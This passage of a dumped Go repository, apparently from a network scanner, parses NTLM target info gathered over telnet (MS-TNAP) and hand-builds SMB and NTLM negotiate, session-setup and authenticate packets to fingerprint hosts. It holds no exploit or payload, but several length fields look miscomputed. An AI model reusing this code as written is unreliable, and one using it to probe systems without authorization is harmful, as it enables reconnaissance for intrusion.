(ntlmTimestamp / 10000000) - 11644473600\n\tunixTimestamp := int64(ntlmTimestamp/10000000) - 11644473600\n\treturn unixTimestamp\n}\n\n// parseTargetInfo parses the NTLM target info structure to extract system details\nfunc parseTargetInfo(data []byte, info *NTLMInfoResponse) {\n\t// Target info is a series of type-length-value pairs\n\t// Each entry starts with a 2-byte type and 2-byte length\n\tfor i := 0; i < len(data)-4; {\n\t\tif i+4 > len(data) {\n\t\t\tbreak\n\t\t}\n\n\t\tinfoType := binary.LittleEndian.Uint16(data[i : i+2])\n\t\tinfoLen := binary.LittleEndian.Uint16(data[i+2 : i+4])\n\n\t\tif i+4+int(infoLen) > len(data) {\n\t\t\tbreak\n\t\t}\n\n\t\tinfoData := data[i+4 : i+4+int(infoLen)]\n\n\t\tswitch infoType {\n\t\tcase 1: // NetBIOS Computer Name\n\t\t\t// Display information returned & ignore responses with null values\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.NetBIOSComputerName = string(infoData)\n\t\t\t}\n\t\tcase 2: // NetBIOS Domain Name\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.NetBIOSDomainName = string(infoData)\n\t\t\t}\n\t\tcase 3: // DNS Computer Name (fqdn in script)\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.DNSComputerName = string(infoData)\n\t\t\t}\n\t\tcase 4: // DNS Domain Name\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.DNSDomainName = string(infoData)\n\t\t\t}\n\t\tcase 5: // DNS Tree Name (dns_forest_name in script)\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.DNSTreeName = string(infoData)\n\t\t\t}\n\t\tcase 6: // Timestamp - 64-bit number of 100ns clicks since 1/1/1601\n\t\t\tif len(infoData) >= 8 {\n\t\t\t\tinfo.Timestamp = binary.LittleEndian.Uint64(infoData)\n\t\t\t}\n\t\tcase 7: // Single Host\n\t\t\t// Skip single host\n\t\tcase 8: // Target Name (target_realm in script)\n\t\t\tif len(infoData) > 0 {\n\t\t\t\tinfo.TargetName = string(infoData)\n\t\t\t}\n\t\tcase 9: // Channel Bindings\n\t\t\t// Skip channel bindings\n\t\tcase 10: // Target Information\n\t\t\t// Skip target information\n\t\tcase 11: // OS Version\n\t\t\tif len(infoData) >= 8 {\n\t\t\t\tmajor := uint8(infoData[0])\n\t\t\t\tminor := uint8(infoData[1])\n\t\t\t\tbuild := binary.LittleEndian.Uint16(infoData[2:4])\n\t\t\t\tinfo.ProductVersion = fmt.Sprintf(\"%d.%d.%d\", major, minor, build)\n\t\t\t}\n\t\t}\n\n\t\ti += 4 + int(infoLen)\n\t}\n}\n\n// CreateNTLMNegotiateBlob creates the NTLM negotiate blob with specific flags\n// This matches the flags used in the Nmap script\nfunc CreateNTLMNegotiateBlob() []byte {\n\tvar buf bytes.Buffer\n\n\t// NTLMSSP signature\n\tbuf.WriteString(\"NTLMSSP\")\n\tbuf.WriteByte(0x00)\n\n\t// Message type (1 = Negotiate)\n\tmessageTypeBytes := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(messageTypeBytes, 1)\n\tbuf.Write(messageTypeBytes)\n\n\t// Negotiate flags (matching Nmap script exactly)\n\tflags := uint32(0x00000001 + // Negotiate Unicode\n\t\t0x00000002 + // Negotiate OEM strings\n\t\t0x00000004 + // Request Target\n\t\t0x00000200 + // Negotiate NTLM\n\t\t0x00008000 + // Negotiate Always Sign\n\t\t0x00080000 + // Negotiate NTLM2 Key\n\t\t0x20000000 + // Negotiate 128\n\t\t0x80000000) // Negotiate 56\n\tflagsBytes := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(flagsBytes, flags)\n\tbuf.Write(flagsBytes)\n\n\t// Domain name fields (empty for negotiate)\n\tdomainNameLenBytes := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(domainNameLenBytes, 0)\n\tbuf.Write(domainNameLenBytes)\n\n\tdomainNameMaxLenBytes := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(domainNameMaxLenBytes, 0)\n\tbuf.Write(domainNameMaxLenBytes)\n\n\tdomainNameOffsetBytes := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(domainNameOffsetBytes, 0)\n\tbuf.Write(domainNameOffsetBytes)\n\n\t// Workstation name fields (empty for negotiate)\n\tworkstationNameLenBytes := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(workstationNameLenBytes, 0)\n\tbuf.Write(workstationNameLenBytes)\n\n\tworkstationNameMaxLenBytes := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(workstationNameMaxLenBytes, 0)\n\tbuf.Write(workstationNameMaxLenBytes)\n\n\tworkstationNameOffsetBytes := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(workstationNameOffsetBytes, 0)\n\tbuf.Write(workstationNameOffsetBytes)\n\n\t// Version (empty for negotiate)\n\tbuf.Write(make([]byte, 8))\n\n\treturn buf.Bytes()\n}\n\n// CreateTNAPLoginPacket creates the MS-TNAP Login Packet (Option Command IS)\n// This implements the exact packet structure from the Nmap script\nfunc CreateTNAPLoginPacket() []byte {\n\tvar buf bytes.Buffer\n\n\t// TNAP Option Command IS (0x01)\n\tbuf.WriteByte(0x01)\n\n\t// Length (will be updated later)\n\tbuf.WriteByte(0x00)\n\n\t// NTLM authentication blob\n\tntlmBlob := CreateNTLMNegotiateBlob()\n\n\t// Update length\n\tdata := buf.Bytes()\n\tdata[1] = byte(len(ntlmBlob)) // Length of the NTLM blob\n\n\t// Append NTLM blob\n\tbuf.Write(ntlmBlob)\n\n\treturn buf.Bytes()\n}\n"
  },
  {
    "path": "pkg/utils/telnetmini/smb.go",
    "content": "package telnetmini\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"github.com/Azure/go-ntlmssp\"\n)\n\n// SMB constants for packet crafting\nconst (\n\t// SMB Commands\n\tSMB_COM_NEGOTIATE_PROTOCOL = 0x72\n\tSMB_COM_SESSION_SETUP_ANDX = 0x73\n\tSMB_COM_TREE_CONNECT_ANDX  = 0x75\n\tSMB_COM_NT_CREATE_ANDX     = 0xA2\n\tSMB_COM_READ_ANDX          = 0x2E\n\tSMB_COM_WRITE_ANDX         = 0x2F\n\tSMB_COM_CLOSE              = 0x04\n\tSMB_COM_TREE_DISCONNECT    = 0x71\n\tSMB_COM_LOGOFF_ANDX        = 0x74\n\n\t// SMB Flags\n\tSMB_FLAGS_CANONICAL_PATHNAMES              = 0x10\n\tSMB_FLAGS_CASELESS_PATHNAMES               = 0x08\n\tSMB_FLAGS2_UNICODE_STRINGS                 = 0x8000\n\tSMB_FLAGS2_ERRSTATUS                       = 0x4000\n\tSMB_FLAGS2_READ_IF_EXECUTE                 = 0x2000\n\tSMB_FLAGS2_32_BIT_ERRORS                   = 0x1000\n\tSMB_FLAGS2_DFS                             = 0x0800\n\tSMB_FLAGS2_EXTENDED_SECURITY               = 0x0400\n\tSMB_FLAGS2_REPARSE_PATH                    = 0x0200\n\tSMB_FLAGS2_SMB_SECURITY_SIGNATURE          = 0x0100\n\tSMB_FLAGS2_SMB_SECURITY_SIGNATURE_REQUIRED = 0x0080\n\n\t// SMB Security modes\n\tSMB_SECURITY_SHARE  = 0x00\n\tSMB_SECURITY_USER   = 0x01\n\tSMB_SECURITY_DOMAIN = 0x02\n\n\t// SMB Capabilities\n\tSMB_CAP_EXTENDED_SECURITY  = 0x80000000\n\tSMB_CAP_COMPRESSED_DATA    = 0x40000000\n\tSMB_CAP_BULK_TRANSFER      = 0x20000000\n\tSMB_CAP_UNIX               = 0x00800000\n\tSMB_CAP_LARGE_READX        = 0x00400000\n\tSMB_CAP_LARGE_WRITEX       = 0x00200000\n\tSMB_CAP_INFOLEVEL_PASSTHRU = 0x00100000\n\tSMB_CAP_DFS                = 0x00080000\n\tSMB_CAP_NT_FIND            = 0x00040000\n\tSMB_CAP_LOCK_AND_READ      = 0x00020000\n\tSMB_CAP_LEVEL_II_OPLOCKS   = 0x00010000\n\tSMB_CAP_STATUS32           = 0x00008000\n\tSMB_CAP_RPC_REMOTE_APIS    = 0x00004000\n\tSMB_CAP_NT_SMBS            = 0x00002000\n\n\t// NTLM constants\n\tNTLMSSP_NEGOTIATE_56                        = 0x80000000\n\tNTLMSSP_NEGOTIATE_KEY_EXCH                  = 0x40000000\n\tNTLMSSP_NEGOTIATE_128                       = 0x20000000\n\tNTLMSSP_NEGOTIATE_VERSION                   = 0x02000000\n\tNTLMSSP_NEGOTIATE_TARGET_INFO               = 0x00800000\n\tNTLMSSP_REQUEST_NON_NT_SESSION_KEY          = 0x00400000\n\tNTLMSSP_NEGOTIATE_IDENTIFY                  = 0x00100000\n\tNTLMSSP_NEGOTIATE_EXTENDED_SESSION_SECURITY = 0x00080000\n\tNTLMSSP_TARGET_TYPE_SERVER                  = 0x00020000\n\tNTLMSSP_NEGOTIATE_ALWAYS_SIGN               = 0x00008000\n\tNTLMSSP_NEGOTIATE_NTLM                      = 0x00000200\n\tNTLMSSP_NEGOTIATE_LM_KEY                    = 0x00000080\n\tNTLMSSP_NEGOTIATE_DATAGRAM                  = 0x00000040\n\tNTLMSSP_NEGOTIATE_SEAL                      = 0x00000020\n\tNTLMSSP_NEGOTIATE_SIGN                      = 0x00000010\n\tNTLMSSP_REQUEST_TARGET                      = 0x00000004\n\tNTLMSSP_NEGOTIATE_UNICODE                   = 0x00000001\n)\n\n// SMBPacket represents a complete SMB packet\ntype SMBPacket struct {\n\tNetBIOSHeader []byte\n\tSMBHeader     []byte\n\tSMBData       []byte\n}\n\n// SMBHeader represents the SMB header structure\ntype SMBHeader struct {\n\tProtocolID  [4]byte // 0xFF, 'S', 'M', 'B'\n\tCommand     byte\n\tStatus      uint32\n\tFlags       byte\n\tFlags2      uint16\n\tPIDHigh     uint16\n\tSignature   [8]byte\n\tReserved    uint16\n\tTreeID      uint16\n\tProcessID   uint16\n\tUserID      uint16\n\tMultiplexID uint16\n}\n\n// CreateSMBPacket creates a complete SMB packet with NetBIOS header\nfunc CreateSMBPacket(smbData []byte) *SMBPacket {\n\t// Create NetBIOS header\n\tnetbiosHeader := make([]byte, 4)\n\tnetbiosHeader[0] = 0x00 // Message type (Session message)\n\tnetbiosHeader[1] = 0x00 // Padding\n\tnetbiosHeader[2] = 0x00 // Padding\n\n\t// Calculate NetBIOS length (big-endian)\n\tlength := len(smbData)\n\tnetbiosHeader[3] = byte(length & 0xFF)\n\n\treturn &SMBPacket{\n\t\tNetBIOSHeader: netbiosHeader,\n\t\tSMBHeader:     createSMBHeader(),\n\t\tSMBData:       smbData,\n\t}\n}\n\n// createSMBHeader creates a standard SMB header\nfunc createSMBHeader() []byte {\n\theader := make([]byte, 32)\n\n\t// Protocol ID: 0xFF, 'S', 'M', 'B'\n\theader[0] = 0xFF\n\theader[1] = 'S'\n\theader[2] = 'M'\n\theader[3] = 'B'\n\n\t// Command (will be set by caller)\n\theader[4] = 0x00\n\n\t// Status (0 for requests)\n\tbinary.LittleEndian.PutUint32(header[5:9], 0)\n\n\t// Flags\n\theader[9] = SMB_FLAGS_CANONICAL_PATHNAMES\n\n\t// Flags2\n\tbinary.LittleEndian.PutUint16(header[10:12], SMB_FLAGS2_UNICODE_STRINGS|SMB_FLAGS2_EXTENDED_SECURITY)\n\n\t// PIDHigh, Signature, Reserved, TreeID, ProcessID, UserID, MultiplexID\n\t// All set to 0 for new connections\n\tbinary.LittleEndian.PutUint16(header[12:14], 0) // PIDHigh\n\t// Signature is 8 bytes of zeros\n\tbinary.LittleEndian.PutUint16(header[20:22], 0) // Reserved\n\tbinary.LittleEndian.PutUint16(header[22:24], 0) // TreeID\n\tbinary.LittleEndian.PutUint16(header[24:26], 0) // ProcessID\n\tbinary.LittleEndian.PutUint16(header[26:28], 0) // UserID\n\tbinary.LittleEndian.PutUint16(header[28:30], 0) // MultiplexID\n\n\treturn header\n}\n\n// CreateNegotiateProtocolPacket creates an SMB negotiate protocol packet\nfunc CreateNegotiateProtocolPacket() []byte {\n\t// Create SMB header\n\theader := createSMBHeader()\n\theader[4] = SMB_COM_NEGOTIATE_PROTOCOL\n\n\t// Create negotiate protocol data\n\tdata := createNegotiateProtocolData()\n\n\t// Combine header and data\n\tpacket := append(header, data...)\n\n\t// Create complete packet with NetBIOS header\n\tsmbPacket := CreateSMBPacket(packet)\n\n\treturn smbPacket.Bytes()\n}\n\n// createNegotiateProtocolData creates the data portion of negotiate protocol packet\nfunc createNegotiateProtocolData() []byte {\n\tvar buf bytes.Buffer\n\n\t// Word count\n\t_ = buf.WriteByte(0x00)\n\n\t// Byte count\n\t_ = buf.WriteByte(0x00)\n\n\t// Dialect strings\n\tdialects := []string{\n\t\t\"NT LM 0.12\",\n\t\t\"SMB 2.002\",\n\t\t\"SMB 2.???\",\n\t}\n\n\tfor _, dialect := range dialects {\n\t\t_ = buf.WriteByte(byte(len(dialect)))\n\t\t_, _ = buf.WriteString(dialect)\n\t\t_ = buf.WriteByte(0x00)\n\t}\n\n\t// Update byte count\n\tdata := buf.Bytes()\n\tdata[1] = byte(len(data) - 2)\n\n\treturn data\n}\n\n// CreateSessionSetupPacket creates an SMB session setup packet\nfunc CreateSessionSetupPacket(username, password, domain string, sessionKey uint64) []byte {\n\t// Create SMB header\n\theader := createSMBHeader()\n\theader[4] = SMB_COM_SESSION_SETUP_ANDX\n\n\t// Create session setup data\n\tdata := createSessionSetupData(username, password, domain, sessionKey)\n\n\t// Combine header and data\n\tpacket := append(header, data...)\n\n\t// Create complete packet with NetBIOS header\n\tsmbPacket := CreateSMBPacket(packet)\n\n\treturn smbPacket.Bytes()\n}\n\n// createSessionSetupData creates the data portion of session setup packet\nfunc createSessionSetupData(username, password, domain string, sessionKey uint64) []byte {\n\tvar buf bytes.Buffer\n\n\t// Word count\n\t_ = buf.WriteByte(0x0D)\n\n\t// AndXCommand (no chained command)\n\t_ = buf.WriteByte(0xFF)\n\n\t// AndXReserved\n\t_ = buf.WriteByte(0x00)\n\n\t// AndXOffset\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\n\t// MaxBufferSize\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0xFFFF))\n\n\t// MaxMpxCount\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x01))\n\n\t// VcNumber\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x00))\n\n\t// SessionKey\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(sessionKey))\n\n\t// CaseInsensitivePasswordLength\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(password)))\n\n\t// CaseSensitivePasswordLength\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(password)))\n\n\t// Reserved\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00))\n\n\t// Capabilities\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(SMB_CAP_EXTENDED_SECURITY|SMB_CAP_NT_SMBS))\n\n\t// Byte count\n\t_ = buf.WriteByte(0x00)\n\n\t// CaseInsensitivePassword\n\t_, _ = buf.WriteString(password)\n\n\t// CaseSensitivePassword\n\t_, _ = buf.WriteString(password)\n\n\t// Account name\n\t_, _ = buf.WriteString(username)\n\t_ = buf.WriteByte(0x00)\n\n\t// Primary domain\n\t_, _ = buf.WriteString(domain)\n\t_ = buf.WriteByte(0x00)\n\n\t// Native OS\n\t_, _ = buf.WriteString(\"Windows 2000 2195\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Native LAN Manager\n\t_, _ = buf.WriteString(\"Windows 2000 5.0\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Update byte count\n\tdata := buf.Bytes()\n\tdata[len(data)-1] = byte(len(data) - 0x21) // 0x21 is the offset to the start of variable data\n\n\treturn data\n}\n\n// CreateTreeConnectPacket creates an SMB tree connect packet\nfunc CreateTreeConnectPacket(shareName string, password string) []byte {\n\t// Create SMB header\n\theader := createSMBHeader()\n\theader[4] = SMB_COM_TREE_CONNECT_ANDX\n\n\t// Create tree connect data\n\tdata := createTreeConnectData(shareName, password)\n\n\t// Combine header and data\n\tpacket := append(header, data...)\n\n\t// Create complete packet with NetBIOS header\n\tsmbPacket := CreateSMBPacket(packet)\n\n\treturn smbPacket.Bytes()\n}\n\n// createTreeConnectData creates the data portion of tree connect packet\nfunc createTreeConnectData(shareName, password string) []byte {\n\tvar buf bytes.Buffer\n\n\t// Word count\n\t_ = buf.WriteByte(0x04)\n\n\t// AndXCommand (no chained command)\n\t_ = buf.WriteByte(0xFF)\n\n\t// AndXReserved\n\t_ = buf.WriteByte(0x00)\n\n\t// AndXOffset\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\n\t// Flags\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x00))\n\n\t// Password length\n\t_ = buf.WriteByte(byte(len(password)))\n\n\t// Byte count\n\t_ = buf.WriteByte(0x00)\n\n\t// Password\n\t_, _ = buf.WriteString(password)\n\t_ = buf.WriteByte(0x00)\n\n\t// Tree\n\t_, _ = buf.WriteString(shareName)\n\t_ = buf.WriteByte(0x00)\n\n\t// Service\n\t_, _ = buf.WriteString(\"?????\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Update byte count\n\tdata := buf.Bytes()\n\tdata[7] = byte(len(data) - 0x0B) // 0x0B is the offset to the start of variable data\n\n\treturn data\n}\n\n// CreateNTCreatePacket creates an SMB NT create packet\nfunc CreateNTCreatePacket(fileName string) []byte {\n\t// Create SMB header\n\theader := createSMBHeader()\n\theader[4] = SMB_COM_NT_CREATE_ANDX\n\n\t// Create NT create data\n\tdata := createNTCreateData(fileName)\n\n\t// Combine header and data\n\tpacket := append(header, data...)\n\n\t// Create complete packet with NetBIOS header\n\tsmbPacket := CreateSMBPacket(packet)\n\n\treturn smbPacket.Bytes()\n}\n\n// createNTCreateData creates the data portion of NT create packet\nfunc createNTCreateData(fileName string) []byte {\n\tvar buf bytes.Buffer\n\n\t// Word count\n\t_ = buf.WriteByte(0x18)\n\n\t// AndXCommand (no chained command)\n\t_ = buf.WriteByte(0xFF)\n\n\t// AndXReserved\n\t_ = buf.WriteByte(0x00)\n\n\t// AndXOffset\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\n\t// Reserved\n\t_ = buf.WriteByte(0x00)\n\n\t// NameLength\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(fileName)))\n\n\t// Flags\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// RootDirectoryFID\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// DesiredAccess\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// AllocationSize\n\t_ = binary.Write(&buf, binary.LittleEndian, uint64(0x0000000000000000))\n\n\t// FileAttributes\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// ShareAccess\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// CreateDisposition\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000001)) // FILE_OPEN\n\n\t// CreateOptions\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// ImpersonationLevel\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000002)) // SecurityImpersonation\n\n\t// SecurityFlags\n\t_ = buf.WriteByte(0x00)\n\n\t// Byte count\n\t_ = buf.WriteByte(0x00)\n\n\t// SecurityDescriptor\n\t_ = buf.WriteByte(0x00)\n\n\t// FileName\n\t_, _ = buf.WriteString(fileName)\n\t_ = buf.WriteByte(0x00)\n\n\t// Update byte count\n\tdata := buf.Bytes()\n\tdata[0x3B] = byte(len(data) - 0x3C) // 0x3C is the offset to the start of variable data\n\n\treturn data\n}\n\n// Bytes returns the complete SMB packet as bytes\nfunc (p *SMBPacket) Bytes() []byte {\n\tvar result bytes.Buffer\n\tresult.Write(p.NetBIOSHeader)\n\tresult.Write(p.SMBHeader)\n\tresult.Write(p.SMBData)\n\treturn result.Bytes()\n}\n\n// CreateNTLMNegotiatePacket creates an NTLM negotiate packet for SMB authentication\nfunc CreateNTLMNegotiatePacket() []byte {\n\tvar buf bytes.Buffer\n\n\t// NTLMSSP signature\n\t_, _ = buf.WriteString(\"NTLMSSP\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Message type (1 = Negotiate)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(1))\n\n\t// Negotiate flags\n\tflags := uint32(NTLMSSP_NEGOTIATE_56 |\n\t\tNTLMSSP_NEGOTIATE_128 |\n\t\tNTLMSSP_NEGOTIATE_VERSION |\n\t\tNTLMSSP_NEGOTIATE_TARGET_INFO |\n\t\tNTLMSSP_NEGOTIATE_EXTENDED_SESSION_SECURITY |\n\t\tNTLMSSP_TARGET_TYPE_SERVER |\n\t\tNTLMSSP_NEGOTIATE_ALWAYS_SIGN |\n\t\tNTLMSSP_NEGOTIATE_NTLM |\n\t\tNTLMSSP_NEGOTIATE_UNICODE)\n\t_ = binary.Write(&buf, binary.LittleEndian, flags)\n\n\t// Domain name fields (empty for negotiate)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) // DomainNameLen\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) // DomainNameMaxLen\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0)) // DomainNameBufferOffset\n\n\t// Workstation name fields (empty for negotiate)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) // WorkstationNameLen\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) // WorkstationNameMaxLen\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0)) // WorkstationNameBufferOffset\n\n\t// Version\n\t_ = buf.WriteByte(0x05)                                     // Major version\n\t_ = buf.WriteByte(0x02)                                     // Minor version\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0A28)) // Build number\n\t_, _ = buf.Write(make([]byte, 3))                           // Reserved\n\t_ = buf.WriteByte(0x0F)                                     // NTLM revision\n\n\treturn buf.Bytes()\n}\n\n// CreateNTLMChallengePacket creates an NTLM challenge packet (for testing)\nfunc CreateNTLMChallengePacket(challenge []byte, targetInfo []byte) []byte {\n\tvar buf bytes.Buffer\n\n\t// NTLMSSP signature\n\t_, _ = buf.WriteString(\"NTLMSSP\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Message type (2 = Challenge)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(2))\n\n\t// Target name fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(56)) // TargetNameBufferOffset\n\n\t// Negotiate flags\n\tflags := uint32(NTLMSSP_NEGOTIATE_56 |\n\t\tNTLMSSP_NEGOTIATE_128 |\n\t\tNTLMSSP_NEGOTIATE_VERSION |\n\t\tNTLMSSP_NEGOTIATE_TARGET_INFO |\n\t\tNTLMSSP_NEGOTIATE_EXTENDED_SESSION_SECURITY |\n\t\tNTLMSSP_TARGET_TYPE_SERVER |\n\t\tNTLMSSP_NEGOTIATE_ALWAYS_SIGN |\n\t\tNTLMSSP_NEGOTIATE_NTLM |\n\t\tNTLMSSP_NEGOTIATE_UNICODE)\n\t_ = binary.Write(&buf, binary.LittleEndian, flags)\n\n\t// Challenge\n\t_, _ = buf.Write(challenge)\n\n\t// Reserved\n\t_, _ = buf.Write(make([]byte, 8))\n\n\t// Target info fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(targetInfo)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(targetInfo)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(56)) // TargetInfoBufferOffset\n\n\t// Version\n\t_ = buf.WriteByte(0x05)                                     // Major version\n\t_ = buf.WriteByte(0x02)                                     // Minor version\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0A28)) // Build number\n\t_, _ = buf.Write(make([]byte, 3))                           // Reserved\n\t_ = buf.WriteByte(0x0F)                                     // NTLM revision\n\n\t// Target info\n\t_, _ = buf.Write(targetInfo)\n\n\treturn buf.Bytes()\n}\n\n// CreateNTLMAuthPacket creates an NTLM authenticate packet\nfunc CreateNTLMAuthPacket(username, password, domain, workstation string, challenge []byte, lmResponse, ntResponse []byte) []byte {\n\tvar buf bytes.Buffer\n\n\t// NTLMSSP signature\n\t_, _ = buf.WriteString(\"NTLMSSP\")\n\t_ = buf.WriteByte(0x00)\n\n\t// Message type (3 = Authenticate)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(3))\n\n\t// Calculate offsets\n\tbaseOffset := uint32(72) // Header size (assuming Version is present)\n\n\tlmOffset := baseOffset\n\tntOffset := lmOffset + uint32(len(lmResponse))\n\tdomainOffset := ntOffset + uint32(len(ntResponse))\n\tuserOffset := domainOffset + uint32(len(domain))\n\tworkOffset := userOffset + uint32(len(username))\n\tsessionKeyOffset := workOffset + uint32(len(workstation))\n\n\t// LM response fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(lmResponse)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(lmResponse)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(lmOffset))\n\n\t// NT response fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(ntResponse)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(ntResponse)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(ntOffset))\n\n\t// Domain name fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(domain)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(domain)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(domainOffset))\n\n\t// Username fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(username)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(username)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(userOffset))\n\n\t// Workstation name fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(workstation)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(len(workstation)))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(workOffset))\n\n\t// Encrypted random session key fields\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0))\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(sessionKeyOffset))\n\n\t// Negotiate flags\n\tflags := uint32(NTLMSSP_NEGOTIATE_56 |\n\t\tNTLMSSP_NEGOTIATE_128 |\n\t\tNTLMSSP_NEGOTIATE_VERSION |\n\t\tNTLMSSP_NEGOTIATE_TARGET_INFO |\n\t\tNTLMSSP_NEGOTIATE_EXTENDED_SESSION_SECURITY |\n\t\tNTLMSSP_TARGET_TYPE_SERVER |\n\t\tNTLMSSP_NEGOTIATE_ALWAYS_SIGN |\n\t\tNTLMSSP_NEGOTIATE_NTLM |\n\t\tNTLMSSP_NEGOTIATE_UNICODE)\n\t_ = binary.Write(&buf, binary.LittleEndian, flags)\n\n\t// Version\n\t_ = buf.WriteByte(0x05)                                     // Major version\n\t_ = buf.WriteByte(0x02)                                     // Minor version\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0A28)) // Build number\n\t_, _ = buf.Write(make([]byte, 3))                           // Reserved\n\t_ = buf.WriteByte(0x0F)                                     // NTLM revision\n\n\t// LM response\n\t_, _ = buf.Write(lmResponse)\n\n\t// NT response\n\t_, _ = buf.Write(ntResponse)\n\n\t// Domain name\n\t_, _ = buf.WriteString(domain)\n\n\t// Username\n\t_, _ = buf.WriteString(username)\n\n\t// Workstation name\n\t_, _ = buf.WriteString(workstation)\n\n\treturn buf.Bytes()\n}\n\n// Helper function to create LM hash response\nfunc CreateLMResponse(challenge []byte, password string) []byte {\n\t// Create a minimal Type 2 challenge packet to satisfy ntlmssp\n\ttype2 := CreateNTLMChallengePacket(challenge, []byte{})\n\n\t// Generate Type 3 authenticate packet\n\t// We use empty username/domain as we only need the hash response\n\tauthMsg, err := ntlmssp.NewAuthenticateMessage(type2, \"\", password, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// Parse the response to extract LM response\n\t// LM Response Len is at offset 12 (2 bytes)\n\t// LM Response Offset is at offset 16 (4 bytes)\n\tif len(authMsg) < 20 {\n\t\treturn nil\n\t}\n\n\tlmLen := binary.LittleEndian.Uint16(authMsg[12:14])\n\tlmOffset := binary.LittleEndian.Uint32(authMsg[16:20])\n\n\tif int(lmOffset)+int(lmLen) > len(authMsg) {\n\t\treturn nil\n\t}\n\n\treturn authMsg[lmOffset : lmOffset+uint32(lmLen)]\n}\n\n// Helper function to create NT hash response\nfunc CreateNTResponse(challenge []byte, password string) []byte {\n\t// Create a minimal Type 2 challenge packet to satisfy ntlmssp\n\ttype2 := CreateNTLMChallengePacket(challenge, []byte{})\n\n\t// Generate Type 3 authenticate packet\n\tauthMsg, err := ntlmssp.NewAuthenticateMessage(type2, \"\", password, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// Parse the response to extract NT response\n\t// NT Response Len is at offset 20 (2 bytes)\n\t// NT Response Offset is at offset 24 (4 bytes)\n\tif len(authMsg) < 28 {\n\t\treturn nil\n\t}\n\n\tntLen := binary.LittleEndian.Uint16(authMsg[20:22])\n\tntOffset := binary.LittleEndian.Uint32(authMsg[24:28])\n\n\tif int(ntOffset)+int(ntLen) > len(authMsg) {\n\t\treturn nil\n\t}\n\n\treturn authMsg[ntOffset : ntOffset+uint32(ntLen)]\n}\n\n// 